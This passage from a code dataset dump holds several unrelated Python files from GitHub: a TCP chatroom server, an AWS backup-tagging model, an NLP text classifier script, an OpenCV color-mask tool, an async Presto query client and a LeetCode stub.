name}\n print(\"Server started on {}:{}\".format(args.host,args.p))\n print(\"To shut down server, use the command !shutdown\\n\") \n\n #names of all clients\n @property\n def client_names(self):\n return [client.name for client in client_connections if client != self.listening_socket]\n\n \"\"\" broadcast accepts new clients,handles incoming messages, \n and removes clients who have left the server\"\"\"\n def broadcast(self):\n while True:\n read_clients, X, Y = select.select(self.client_connections, [], []) #uses client fileno,X and Y are not needed\n \n \"\"\"try and except are used as the server seems to limit\n requests for a certain given time\"\"\"\n try:\n for client in read_clients:\n #accepting new connections\n if client is self.listening_socket:\n new_socket, add = client.accept() #accept new connection\n new_client = Client(new_socket) #create new client\n self.client_connections.append(new_client) #add client to connections\n new_client.socket.sendall(b\"Hello!\\nWhat's your name?\\n\") #get client name\n\n else:\n msg = client.socket.recv(4096) #4096 == max amount of data to be received\n if msg: #pass message to be handled\n msg = msg.decode().strip().lower()\n print(client.name + \" says: \" + msg)\n\n if msg in commands or \"name:\" in msg: #send command to be executed if it is a command\n self.execute_command(client,msg)\n \n else: #else broadcast message\n if client.name in self.client_rooms:\n self.rooms[self.client_rooms[client.name]].broadcast(client, msg.encode())\n else: #notify client they must be in room to chat\n msg = \"You are currently not in any room! \\n\" \\\n + \"Use !rooms to see available rooms \\n\" \\\n + \"Or !join [room_name] to create/join a room\\n\"\n client.socket.sendall(msg.encode())\n else:\n #remove client \n client.socket.close()\n self.client_connections.remove(client)\n except:\n pass\n\n \"\"\" execute_command uses message prefixes to decide which \n command to execute\"\"\"\n def execute_command(self, client, msg):\n if \"name:\" in msg:\n name = msg.split()[1]\n client.name = name\n print(\"{} has joined!\\n\".format(client.name))\n client.socket.sendall(instructions.encode()) #show instructions for new users\n\n elif \"!join\" in msg:\n self.join(client,msg)\n\n elif \"!rooms\" in msg:\n self.show_rooms(client) \n \n elif \"!online\" in msg:\n self.show_active(client) \n\n elif \"!instructions\" in msg:\n client.socket.sendall(instructions.encode())\n \n elif \"!leave\" in msg:\n client.socket.sendall(\"!leave\".encode()) #send to client file\n self.remove_client(client)\n\n\n \"\"\" show_rooms is a function executed when the client enters the command !rooms.\n It shows the client all available rooms\"\"\"\n def show_rooms(self, client):\n #if there are no rooms\n if len(self.rooms) == 0:\n msg = \"There are currently no rooms, create your own!\\n\" \\\n + \"You can also use !join [room_name] to create a room.\\n\"\n client.socket.sendall(msg.encode())\n #else display all rooms and how many clients in each\n else:\n msg = \"All rooms:\\n\"\n msg += \"\".join([(room + \": \" + str(len(self.rooms[room].clients)) + \" user(s)\\n\") for room in self.rooms])\n client.socket.sendall(msg.encode())\n \n \"\"\" show_active is a function executed when the client enters the command !online.\n It shows the client all online users\"\"\"\n def show_active(self,client):\n msg = \"({}) user(s) online\\n\".format(len(self.client_names))\n if len(self.client_names) > 0:\n msg += \"\".join([\"{}\\n\".format(c) for c in self.client_names])\n client.socket.sendall(msg.encode())\n\n \"\"\" join is a function executed when the client enters the command !join [room_name].\n It allows the client to join/create/switch rooms\"\"\"\n def join(self,client,msg):\n if len(msg.split()) < 2:\n client.socket.sendall(b\"No room chosen, try again!\\n\")\n else:\n switch = True #flag to decide whether client can switch or not\n room_name = msg.split()[1]\n \n if client.name in self.client_rooms:\n #if client is already in the room\n if self.client_rooms[client.name] == room_name:\n client.socket.sendall(b\"You are already in room \" + room_name.encode() + b\"\\n\")\n switch = False\n \n #if client is not already in the room\n #remove client from current room so they can switch to new room\n else: \n room = self.client_rooms[client.name]\n self.rooms[room].remove_client(client)\n \n if switch:\n #if room does not exist, create new room\n if room_name not in self.rooms:\n new_room = Room(room_name)\n self.rooms[room_name] = new_room\n \n #add client to room\n self.rooms[room_name].clients.append(client)\n self.rooms[room_name].greet(client)\n self.client_rooms[client.name] = room_name\n\n \"\"\" remove_client is a function executed when the client enters the command !leave.\n It deletes the client and removes them from the server connection list\"\"\" \n def remove_client(self, client):\n if client.name in self.client_rooms:\n self.rooms[self.client_rooms[client.name]].remove_client(client) \n del self.client_rooms[client.name]\n exit_msg = \"\\n{} has left the room\\n\".format(client.name)\n client.socket.sendall(exit_msg.encode())\n\n \"\"\" shutdown is a function run as a thread to allow the server to be shut down at\n any time. It uses input from the terminal\"\"\"\n def shutdown(self):\n while True:\n IN = input()\n if IN == \"!shutdown\":\n [client.socket.close() for client in self.client_connections] #close client connections\n print(\"\\nServer has been shut down\\n\")\n os._exit(1) #forces shutdown\n\n#Room objects make sure message is only relayed to clients in the same Room\nclass Room:\n def __init__(self, name):\n self.clients = [] # a list of sockets\n self.name = name #name of room\n\n \"\"\"greet welcomes new clients and notifies all other clients\"\"\"\n def greet(self, from_client):\n msg = \"Hi {}, welcome to {}!\\n\".format(from_client.name,self.name)\n [client.socket.sendall(msg.encode()) for client in self.clients]\n \n \"\"\" broadcast makes the client's message appear on all other clients' side\"\"\"\n def broadcast(self, from_client, msg):\n msg = from_client.name.encode() + b\":\" + msg\n [client.socket.sendall(msg) for client in self.clients]\n\n \"\"\" remove_client removes client from room and notifies other clients that client has left\"\"\"\n def remove_client(self, client):\n self.clients.remove(client)\n leave_msg = b\"left the room\\n\"\n self.broadcast(client, leave_msg) #sends message from client\n print(\"\\n{} has left the room\".format(client.name))\n\n\nif __name__ == \"__main__\":\n #read input from command line\n parser = argparse.ArgumentParser(description='Chatroom Server')\n parser.add_argument('host', default=\"0.0.0.0\",help='Interface the server listens at')\n parser.add_argument('p', metavar='PORT', type=int, default=8000,\n help='TCP port (default 1060)')\n args = parser.parse_args() #command line arguments\n\n \"\"\" CREATING THE LISTENING SOCKET\n socket.socket creates socket object, AF_INET specifies that it is part of the ipv4 address family,\n SOCK_STREAM specifies that it is a TCP socket\n socket.setsockopt sets the level at which the socket is working at,\n in this case it is SOL_SOCKET, the actual socket layer. It also sets the option SO_REUSEADDR\n which allows the socket.bind function to reuse local addresses, 1 is the buffer value\n socket.setblocking(0) sets socket to non-blocking mode, this allows it to not have to wait\n for the buffer to be full\n socket.bind binds socket to the given ip address and port\n socket.listen sets the max amount of connections the socket can have, this can be changed\n to allow more or less connections\n \"\"\"\n listening_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n listening_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n listening_socket.setblocking(0)\n listening_socket.bind((args.host,args.p))\n listening_socket.listen(10)\n\n #create Server\n client_connections = [listening_socket]\n server = Server(listening_socket,client_connections)\n\n \"\"\" threads are used so server can run simultaneously with the shutdown function.\n This gives the host the possiblity of shutting down the server at any time \"\"\"\n broadcast_thread = threading.Thread(target=Server.broadcast,args=[server]).start()\n shutdown_thread = threading.Thread(target=Server.shutdown,args=[server]).start()\n","repo_name":"erika-r/tcp_chatroom_server","sub_path":"2files/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":10894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22176898676","text":"import hashlib\nimport re\nimport copy\nfrom datetime import datetime\nfrom typing import Dict\n\nfrom dateutil.relativedelta import relativedelta\nfrom datetime import timedelta\n\nfrom shelvery.aws_helper import AwsHelper\nfrom shelvery.entity_resource import EntityResource\nfrom shelvery.runtime_config import RuntimeConfig\nimport boto3\n\nclass BackupResource:\n \"\"\"Model representing single backup\"\"\"\n\n BACKUP_MARKER_TAG = 'backup'\n TIMESTAMP_FORMAT = '%Y-%m-%d-%H%M'\n TIMESTAMP_FORMAT_LEGACY = '%Y%m%d-%H%M'\n\n RETENTION_DAILY = 'daily'\n RETENTION_WEEKLY = 'weekly'\n RETENTION_MONTHLY = 'monthly'\n RETENTION_YEARLY = 'yearly'\n\n def __init__(self, tag_prefix, entity_resource: EntityResource, construct=False, copy_resource_tags=True, exluded_resource_tag_keys=[], resource_properties={}):\n \"\"\"Construct new backup resource out of entity resource (e.g. ebs volume).\"\"\"\n # if object manually created\n if construct:\n return\n\n # current date\n self.date_created = datetime.utcnow()\n self.account_id = AwsHelper.local_account_id()\n\n # determine retention period\n if self.date_created.day == 1:\n if self.date_created.month == 1:\n self.retention_type = self.RETENTION_YEARLY\n else:\n self.retention_type = self.RETENTION_MONTHLY\n elif self.date_created.weekday() == 6:\n self.retention_type = self.RETENTION_WEEKLY\n else:\n self.retention_type = self.RETENTION_DAILY\n\n # determine backup name. Hash of resource id is added to support creating backups\n # with resources having a same name\n if 'Name' in entity_resource.tags:\n name = entity_resource.tags['Name']\n name = name + '-' + hashlib.md5(entity_resource.resource_id.encode('utf-8')).hexdigest()[0:6]\n else:\n name = entity_resource.resource_id\n\n # replace anything that is not alphanumeric to hyphen\n # do not allow two hyphens next to each other\n name = re.sub('[^a-zA-Z0-9\\-]', '-', name)\n name = re.sub('\\-+','-',name)\n date_formatted = self.date_created.strftime(self.TIMESTAMP_FORMAT)\n self.name = f\"{name}-{date_formatted}-{self.retention_type}\"\n\n self.entity_id = entity_resource.resource_id\n self.entity_resource = entity_resource\n self.__region = entity_resource.resource_region\n\n self.tags = {\n 'Name': self.name,\n \"shelvery:tag_name\": tag_prefix,\n f\"{tag_prefix}:date_created\": date_formatted,\n f\"{tag_prefix}:src_account\": self.account_id,\n f\"{tag_prefix}:name\": self.name,\n f\"{tag_prefix}:region\": entity_resource.resource_region,\n f\"{tag_prefix}:retention_type\": self.retention_type,\n f\"{tag_prefix}:entity_id\": entity_resource.resource_id,\n f\"{tag_prefix}:{self.BACKUP_MARKER_TAG}\": 'true'\n }\n \n resource_tags = self.entity_resource_tags()\n \n if f\"{tag_prefix}:config:shelvery_encrypt_copy\" in resource_tags:\n self.tags[f\"{tag_prefix}:config:shelvery_encrypt_copy\"] = resource_tags[f\"{tag_prefix}:config:shelvery_encrypt_copy\"]\n \n if f\"{tag_prefix}:config:shelvery_copy_kms_key_id\" in resource_tags:\n self.tags[f\"{tag_prefix}:config:shelvery_copy_kms_key_id\"] = resource_tags[f\"{tag_prefix}:config:shelvery_copy_kms_key_id\"]\n \n if copy_resource_tags:\n for key, value in self.entity_resource_tags().items():\n if key == 'Name':\n self.tags[\"ResourceName\"] = value\n elif not any(exc_tag in key for exc_tag in exluded_resource_tag_keys):\n self.tags[key] = value\n \n self.backup_id = None\n self.expire_date = None\n self.date_deleted = None\n self.resource_properties = resource_properties\n\n def cross_account_copy(self, new_backup_id):\n backup = copy.deepcopy(self)\n\n # backup name and retention type are copied\n backup.backup_id = new_backup_id\n backup.region = AwsHelper.local_region()\n backup.account_id = AwsHelper.local_account_id()\n\n tag_prefix = self.tags['shelvery:tag_name']\n backup.tags[f\"{tag_prefix}:region\"] = backup.region\n backup.tags[f\"{tag_prefix}:date_copied\"] = datetime.utcnow().strftime(self.TIMESTAMP_FORMAT)\n backup.tags[f\"{tag_prefix}:dst_account\"] = backup.account_id\n backup.tags[f\"{tag_prefix}:src_region\"] = self.region\n backup.tags[f\"{tag_prefix}:region\"] = backup.region\n backup.tags[f\"{tag_prefix}:dr_copy\"] = 'false'\n backup.tags[f\"{tag_prefix}:cross_account_copy\"] = 'true'\n backup.tags[f\"{tag_prefix}:dr_regions\"] = ''\n backup.tags[f\"{tag_prefix}:dr_copies\"] = ''\n \n return backup\n\n\n @classmethod\n def construct(cls,\n tag_prefix: str,\n backup_id: str,\n tags: Dict):\n \"\"\"\n Construct BackupResource object from object id and aws tags stored by shelvery\n \"\"\"\n\n obj = BackupResource(None, None, True)\n obj.entity_resource = None\n obj.entity_id = None\n obj.backup_id = backup_id\n obj.tags = tags\n\n # read properties from tags\n obj.retention_type = tags[f\"{tag_prefix}:retention_type\"]\n obj.name = tags[f\"{tag_prefix}:name\"]\n\n if f\"{tag_prefix}:entity_id\" in tags:\n obj.entity_id = tags[f\"{tag_prefix}:entity_id\"]\n\n try:\n obj.date_created = datetime.strptime(tags[f\"{tag_prefix}:date_created\"], cls.TIMESTAMP_FORMAT)\n except Exception as e:\n if 'does not match format' in str(e):\n str_date = tags[f\"{tag_prefix}:date_created\"]\n print(f\"Failed to read {str_date} as date, trying legacy format {cls.TIMESTAMP_FORMAT_LEGACY}\")\n obj.date_created = datetime.strptime(tags[f\"{tag_prefix}:date_created\"], cls.TIMESTAMP_FORMAT_LEGACY)\n\n\n obj.region = tags[f\"{tag_prefix}:region\"]\n if f\"{tag_prefix}:src_account\" in tags:\n obj.account_id = tags[f\"{tag_prefix}:src_account\"]\n else:\n obj.account_id = AwsHelper.local_account_id()\n\n return obj\n\n def entity_resource_tags(self):\n return self.entity_resource.tags if self.entity_resource is not None else {}\n \n def calculate_expire_date(self, engine, custom_retention_types=None):\n \"\"\"Determine expire date, based on 'retention_type' tag\"\"\"\n if self.retention_type == BackupResource.RETENTION_DAILY:\n expire_date = self.date_created + timedelta(\n days=RuntimeConfig.get_keep_daily(self.entity_resource_tags(), engine))\n elif self.retention_type == BackupResource.RETENTION_WEEKLY:\n expire_date = self.date_created + relativedelta(\n weeks=RuntimeConfig.get_keep_weekly(self.entity_resource_tags(), engine))\n elif self.retention_type == BackupResource.RETENTION_MONTHLY:\n expire_date = self.date_created + relativedelta(\n months=RuntimeConfig.get_keep_monthly(self.entity_resource_tags(), engine))\n elif self.retention_type == BackupResource.RETENTION_YEARLY:\n expire_date = self.date_created + relativedelta(\n years=RuntimeConfig.get_keep_yearly(self.entity_resource_tags(), engine))\n elif self.retention_type in custom_retention_types:\n expire_date = self.date_created + timedelta(\n seconds=custom_retention_types[self.retention_type])\n else:\n # We don't want backups existing forever\n raise Exception(f\"Unknown retention period '{self.retention_type}' for backup '{self.backup_id}'\")\n\n self.expire_date = expire_date\n\n def is_stale(self, engine, custom_retention_types = None):\n self.calculate_expire_date(engine, custom_retention_types)\n now = datetime.now(self.date_created.tzinfo)\n return now > self.expire_date\n\n @property\n def region(self):\n return self.__region\n\n @region.setter\n def region(self, region: str):\n self.__region = region\n\n def set_retention_type(self, retention_type: str):\n self.retention_type = retention_type\n self.name = '-'.join(self.name.split('-')[0:-1]) + f\"-{retention_type}\"\n self.tags[f\"{self.tags['shelvery:tag_name']}:name\"] = self.name\n self.tags['Name'] = self.name\n self.tags[f\"{self.tags['shelvery:tag_name']}:retention_type\"] = retention_type\n \n @property\n def boto3_tags(self):\n tags = self.tags\n return list(map(lambda k: {'Key': k, 'Value': tags[k]}, tags))\n\n @staticmethod\n def dict_from_boto3_tags(boot3_tags):\n return dict(map(lambda t: (t['Key'], t['Value']), boot3_tags))\n","repo_name":"base2Services/shelvery-aws-backups","sub_path":"shelvery/backup_resource.py","file_name":"backup_resource.py","file_ext":"py","file_size_in_byte":8888,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"31"} +{"seq_id":"74262314328","text":"from car import Car, ElectricCar\n\nmy_beetle = Car('volkswagen','beetle', 2016)\n\nmy_tesla = ElectricCar('tesla', 'model s', 2017)\n\nprint(my_tesla.get_descriptive_name() )\nmy_tesla.battery.describe_battery()\nmy_tesla.battery.get_range()\n\nprint(my_beetle.get_descriptive_name() )\n\n# or you can import the entire module and access the classses you need using dot notaion\n\n\"\"\"\nimport car\n\nmy_beetle = car.Car('volkswagen', 'beetle', 2016)\nprint(my_beetle.get_descriptive_name() )\n\nmy_tesla = car.ElectricCar('tesla', 'roadster', 2016)\nprint(my_tesla.get_descriptive_name() )\n\"\"\"","repo_name":"Bodhinaut/python_crash_course","sub_path":"my_electric_car.py","file_name":"my_electric_car.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22671307310","text":"from charset_normalizer import detect\r\nfrom tensorflow.keras import models\r\nfrom gensim.models import Word2Vec\r\nimport nltk\r\nimport numpy as np\r\nimport requests\r\nfrom langid.langid import LanguageIdentifier, model\r\nimport json\r\n\r\nnltk.download('all')\r\n\r\nidentifier = LanguageIdentifier.from_modelstring(model, norm_probs=True)\r\n\r\nword_set = set(nltk.corpus.words.words())\r\nstop_set = set(nltk.corpus.stopwords.words())\r\nlemm = nltk.stem.WordNetLemmatizer()\r\n\r\nwords_model_name = \"./models/words_model.model\"\r\nclass_model_name = \"./models/class_model.h5\"\r\n\r\nwords_model = Word2Vec.load(words_model_name)\r\nclass_model = models.load_model(class_model_name)\r\n\r\nwords_limit = 100\r\nvector_size = words_model.vector_size\r\n\r\ndef convert(tag):\r\n char = tag[0].lower()\r\n if char == 'j':\r\n return nltk.corpus.wordnet.ADJ\r\n elif char == 'r':\r\n return nltk.corpus.wordnet.ADV\r\n elif char == 'v':\r\n return nltk.corpus.wordnet.VERB\r\n else:\r\n return nltk.corpus.wordnet.NOUN\r\n\r\ndef pre_process(string):\r\n # translate the string if the language is not English\r\n detect = identifier.classify(string)\r\n print(detect)\r\n if detect[0] != \"en\" or detect[1] < 0.95:\r\n #string = string.replace('\\n', ' ').replace('\\t', ' ').replace(' ', ' ')\r\n url = \"http://translate.google.cn/translate_a/single?client=gtx&dt=t&dj=1&ie=UTF-8&sl={}&tl=en&q={}\".format(detect[0], string)\r\n string = \"\"\r\n #a = requests.get(url).text\r\n #print(a, type(a))\r\n target = json.loads(requests.get(url).text)\r\n for i in range(len(target['sentences'])):\r\n string += target['sentences'][i]['trans'] + \" \"\r\n print(string)\r\n else:\r\n print('Original sentence.')\r\n print(string)\r\n\r\n string = nltk.tokenize.word_tokenize(string)\r\n string = nltk.pos_tag(string)\r\n result = []\r\n \r\n lower_string = [ (x[0].lower(), x[1]) for x in string ]\r\n for i in range(len(string)):\r\n if not(string[i][0] in stop_set or lower_string[i][0] in stop_set):\r\n cute_word = lemm.lemmatize(string[i][0], pos = convert(string[i][1]))\r\n bird_word = lemm.lemmatize(lower_string[i][0], pos = convert(lower_string[i][1]))\r\n if cute_word in word_set:\r\n result.append(cute_word)\r\n elif bird_word in word_set:\r\n result.append( bird_word )\r\n else:\r\n print(\"Not stopword: \", string[i], lower_string[i])\r\n else:\r\n print(\"Is stopword: \", string[i], lower_string[i])\r\n del string\r\n del lower_string\r\n return result\r\n\r\ndef preprocess_vectorize_without_translate(string):\r\n\r\n string = nltk.tokenize.word_tokenize(string)\r\n string = nltk.pos_tag(string)\r\n result = []\r\n \r\n lower_string = [ (x[0].lower(), x[1]) for x in string ]\r\n for i in range(len(string)):\r\n if not(string[i][0] in stop_set or lower_string[i][0] in stop_set):\r\n cute_word = lemm.lemmatize(string[i][0], pos = convert(string[i][1]))\r\n bird_word = lemm.lemmatize(lower_string[i][0], pos = convert(lower_string[i][1]))\r\n if cute_word in word_set:\r\n result.append(cute_word)\r\n elif bird_word in word_set:\r\n result.append( bird_word )\r\n else:\r\n print(\"Not stopword: \", string[i], lower_string[i])\r\n else:\r\n print(\"Is stopword: \", string[i], lower_string[i])\r\n del string\r\n del lower_string\r\n return vectorize_str(result)\r\n\r\ndef vectorize_str(string_list):\r\n \"\"\"\r\n string_list = [ string for string in string_list if (string in words_model.wv) ] \r\n list_length = len(string_list)\r\n string_list = string_list * (words_limit // list_length) + [string_list[i] for i in range(0, words_limit % (list_length))]\r\n return np.expand_dims(np.stack([ words_model.wv[string] for string in string_list ]), axis = 0)\r\n \"\"\"\r\n string_list = [ word for word in string_list if (word in word_set) ]\r\n string_list = string_list + [ None ] * max(0, (words_limit - len(string_list)))\r\n vectorized_data = np.stack([\r\n words_model.wv[word] if (word != None) else (np.zeros((words_model.vector_size, ))) for word in string_list[ : words_limit ] \r\n ]) \r\n #return np.expand_dims(vectorized_data, axis = 0)\r\n return np.expand_dims(vectorized_data.T, axis = 0)\r\n\r\ndef get_relation_score(vectorized_data):\r\n return class_model.predict(vectorized_data)[0][0]","repo_name":"michael21910/ndhu-csie-plus","sub_path":"comsci.py","file_name":"comsci.py","file_ext":"py","file_size_in_byte":4497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26107327698","text":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\ndef nothing(x):\n pass\n\ndef main():\n\n window_name='color range parameter'\n cv2.namedWindow(window_name)\n # Create a black image, a window\n im = cv2.imread('Image.png')\n #cb = cv2.imread('color_bar.jpg')\n hsv = cv2.cvtColor(im,cv2.COLOR_BGR2HSV)\n\n print ('lower_color = np.array([a1,a2,a3])')\n print ('upper_color = np.array([b1,b2,b3])')\n\n # create trackbars for color change\n cv2.createTrackbar('a1',window_name,0,255,nothing)\n cv2.createTrackbar('a2',window_name,0,255,nothing)\n cv2.createTrackbar('a3',window_name,0,255,nothing)\n\n cv2.createTrackbar('b1',window_name,150,255,nothing)\n cv2.createTrackbar('b2',window_name,150,255,nothing)\n cv2.createTrackbar('b3',window_name,150,255,nothing)\n\n while(1):\n a1 = cv2.getTrackbarPos('a1',window_name)\n a2 = cv2.getTrackbarPos('a2',window_name)\n a3 = cv2.getTrackbarPos('a3',window_name)\n\n b1 = cv2.getTrackbarPos('b1',window_name)\n b2 = cv2.getTrackbarPos('b2',window_name)\n b3 = cv2.getTrackbarPos('b3',window_name)\n\n # hsv hue sat value\n lower_color = np.array([a1,a2,a3])\n upper_color = np.array([b1,b2,b3])\n mask = cv2.inRange(hsv, lower_color, upper_color)\n res = cv2.bitwise_and(im, im, mask = mask)\n\n cv2.imshow('mask',mask)\n cv2.imshow('res',res)\n cv2.imshow('im',im)\n #cv2.imshow(window_name,cb)\n\n k = cv2.waitKey(1) & 0xFF\n if k == 27: # wait for ESC key to exit\n break\n elif k == ord('s'): # wait for 's' key to save and exit\n cv2.imwrite('Img_screen_mask.jpg',mask)\n cv2.imwrite('Img_screen_res.jpg',res)\n break\n\n cv2.destroyAllWindows()\n\n#Run Main\nif __name__ == \"__main__\" :\n main()\n","repo_name":"gnitish18/Robomuse-4","sub_path":"src/robomuse-ros-master/robomuse_drivers/scripts/colourDetect.py","file_name":"colourDetect.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"40973349077","text":"import os\nfrom config import TEST_FILE_DIR\n\nfrom services.db_initializer import init_databases\nfrom implementation_services.isoquant_db_init import init_isoquant_db\n\n\nclass SampleFileManagement:\n\n def __init__(self):\n self.gffcompare_gtf = os.path.join(\n TEST_FILE_DIR, \"gffcompare.annotated.gtf\")\n self.reference_gtf = os.path.join(\n TEST_FILE_DIR, \"gencode.vM26.basic.annotation.extract.gtf\")\n self.isoquant_gtf = os.path.join(\n TEST_FILE_DIR, \"isoquant.gtf\")\n self.gffcompare_db_filename = os.path.join(\n TEST_FILE_DIR, \"gffcompare.annotated-ca.db\")\n self.reference_db_filename = os.path.join(\n TEST_FILE_DIR, \"gencode.vM26.basic.annotation.extract-ca.db\")\n self.isoquant_db_filename = os.path.join(\n TEST_FILE_DIR, \"isoquant-ca.db\")\n self.bam_file = os.path.join(\n TEST_FILE_DIR, \"Mouse.ONT.R9.4.sim.RE.no_gtf.transcript925.ch1.nnic.bam\")\n self.tsv_file = os.path.join(\n TEST_FILE_DIR, \"00_Mouse.ONT.R9.4.sim.RE.no_gtf.transcript925.ch1.nnic.transcript_model_reads.tsv\")\n self.reference_fasta = os.path.join(\n TEST_FILE_DIR, \"gencode.vM26.transcripts.extract.fa\")\n self.gffcompare_db = None\n self.reference_db = None\n self.isoquant_db = None\n\n def initialize_test_files(self):\n self.gffcompare_db, self.reference_db = init_databases(\n self.gffcompare_gtf, self.reference_gtf, True)\n self.isoquant_db = init_isoquant_db(self.isoquant_gtf, True)\n\n def databases_exist(self) -> bool:\n gffcompare_db = os.path.exists(self.gffcompare_db_filename)\n reference_db = os.path.exists(self.reference_db_filename)\n return gffcompare_db and reference_db\n\n def remove_test_files(self):\n if os.path.exists(self.gffcompare_db_filename):\n os.remove(self.gffcompare_db_filename)\n if os.path.exists(self.reference_db_filename):\n os.remove(self.reference_db_filename)\n if os.path.exists(self.isoquant_db_filename):\n os.remove(self.isoquant_db_filename)\n\n\ndefault_test_file_manager = SampleFileManagement()\n","repo_name":"heidi-holappa/comparison-analyzer","sub_path":"src/tests/sample_file_management.py","file_name":"sample_file_management.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18620960777","text":"\nimport logging\n\nfrom prestodb import exceptions\n\nfrom typing import Any, Dict, List, Optional, Text, Tuple, Union # NOQA for mypy types\n\nfrom presto.presto_request import PrestoRequest\nfrom presto.presto_result import PrestoResult\n\nlogger = logging.getLogger(__name__)\n\n\nclass PrestoQuery(object):\n \"\"\"Represent the execution of a SQL statement by Presto.\"\"\"\n\n def __init__(\n self,\n request: PrestoRequest, # type: PrestoRequest\n sql=None # type: Text\n ):\n # type: (...) -> None\n\n self.auth_req = request.auth_req # type: Optional[Request]\n self.credentials = request.credentials # type: Optional[Credentials]\n self.query_id = None # type: Optional[Text]\n\n self._stats = {} # type: Dict[Any, Any]\n self._warnings = [] # type: List[Dict[Any, Any]]\n self._columns = None # type: Optional[List[Text]]\n self._finished = False\n self._cancelled = False\n self._request = request\n self._sql = sql\n self._result = []\n # self._result = PrestoResult(self)\n\n @property\n def columns(self):\n return self._columns\n\n @property\n def stats(self):\n return self._stats\n\n @property\n def warnings(self):\n return self._warnings\n\n @property\n def result(self):\n return self._result\n\n async def execute(self):\n # type: () -> PrestoResult\n\n if self._cancelled:\n raise exceptions.PrestoUserError(\"Query has been cancelled\", self.query_id)\n\n if self.credentials is not None and not self.credentials.valid:\n self._request.http_session.headers.update(self._request.get_oauth_token())\n\n if self._request.next_uri:\n response = await self._request.get(self._request.next_uri)\n else:\n response = await self._request.post(self._sql)\n status = await self._request.process(response)\n self.query_id = status.id\n if status.columns:\n self._columns = status.columns\n self._stats.update({u\"queryId\": self.query_id})\n self._stats.update(status.stats)\n self._warnings = getattr(status, \"warnings\", [])\n if status.next_uri is None:\n self._finished = True\n # self._result = PrestoResult(self, status.rows)\n self._result = status.rows\n return self._result\n\n async def fetch(self):\n # type: () -> List[List[Any]]\n \"\"\"Continue fetching data for the current query_id\"\"\"\n logger.info(self._request.next_uri)\n response = await self._request.get(self._request.next_uri)\n status = await self._request.process(response)\n if status.columns:\n self._columns = status.columns\n self._stats.update(status.stats)\n logger.debug(status)\n if status.next_uri is None:\n self._finished = True\n return status.rows\n\n async def cancel(self):\n # type: () -> None\n \"\"\"Cancel the current presto\"\"\"\n if self.query_id is None or self.is_finished():\n return\n\n self._cancelled = True\n url = self._request.get_url(\"/v1/presto/{}\".format(self.query_id))\n logger.debug(\"cancelling presto: %s\", self.query_id)\n response = await self._request.delete(url)\n logger.info(response)\n if response.status == 204:\n logger.debug(\"presto cancelled: %s\", self.query_id)\n return\n self._request.raise_response_error(response)\n\n def is_finished(self):\n # type: () -> bool\n return self._finished\n","repo_name":"anstjaos/python-project","sub_path":"presto-asyncio/presto/presto_query.py","file_name":"presto_query.py","file_ext":"py","file_size_in_byte":3584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23677711459","text":"#\n# @lc app=leetcode.cn id=160 lang=python3\n#\n# [160] 相交链表\n#easy\n'''\n给你两个单链表的头节点 headA 和 headB ,请你找出并返回两个单链表相交的起始节点。如果两个链表不存在相交节点,返回 null 。\n\n图示两个链表在节点 c1 开始相交:\n\n\n\n题目数据 保证 整个链式结构中不存在环。\n\n注意,函数返回结果后,链表必须 保持其原始结构 。\n\n自定义评测:\n\n评测系统 的输入如下(你设计的程序 不适用 此输入):\n\nintersectVal - 相交的起始节点的值。如果不存在相交节点,这一值为 0\nlistA - 第一个链表\nlistB - 第二个链表\nskipA - 在 listA 中(从头节点开始)跳到交叉节点的节点数\nskipB - 在 listB 中(从头节点开始)跳到交叉节点的节点数\n评测系统将根据这些输入创建链式数据结构,并将两个头节点 headA 和 headB 传递给你的程序。如果程序能够正确返回相交节点,那么你的解决方案将被 视作正确答案 。\n\n \n\n示例 1:\n\n\n\n输入:intersectVal = 8, listA = [4,1,8,4,5], listB = [5,6,1,8,4,5], skipA = 2, skipB = 3\n输出:Intersected at '8'\n解释:相交节点的值为 8 (注意,如果两个链表相交则不能为 0)。\n从各自的表头开始算起,链表 A 为 [4,1,8,4,5],链表 B 为 [5,6,1,8,4,5]。\n在 A 中,相交节点前有 2 个节点;在 B 中,相交节点前有 3 个节点。\n示例 2:\n\n\n\n输入:intersectVal = 2, listA = [1,9,1,2,4], listB = [3,2,4], skipA = 3, skipB = 1\n输出:Intersected at '2'\n解释:相交节点的值为 2 (注意,如果两个链表相交则不能为 0)。\n从各自的表头开始算起,链表 A 为 [1,9,1,2,4],链表 B 为 [3,2,4]。\n在 A 中,相交节点前有 3 个节点;在 B 中,相交节点前有 1 个节点。\n示例 3:\n\n\n\n输入:intersectVal = 0, listA = [2,6,4], listB = [1,5], skipA = 3, skipB = 2\n输出:null\n解释:从各自的表头开始算起,链表 A 为 [2,6,4],链表 B 为 [1,5]。\n由于这两个链表不相交,所以 intersectVal 必须为 0,而 skipA 和 skipB 可以是任意值。\n这两个链表不相交,因此返回 null 。\n \n\n提示:\n\nlistA 中节点数目为 m\nlistB 中节点数目为 n\n0 <= m, n <= 3 * 104\n1 <= Node.val <= 105\n0 <= skipA <= m\n0 <= skipB <= n\n如果 listA 和 listB 没有交点,intersectVal 为 0\n如果 listA 和 listB 有交点,intersectVal == listA[skipA] == listB[skipB]\n \n\n作者:力扣 (LeetCode)\n链接:https://leetcode-cn.com/leetbook/read/top-interview-questions-medium/xv02ut/\n来源:力扣(LeetCode)\n著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。\n'''\n# @lc code=start\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def getIntersectionNode(self, headA: ListNode, headB: ListNode) -> ListNode:\n 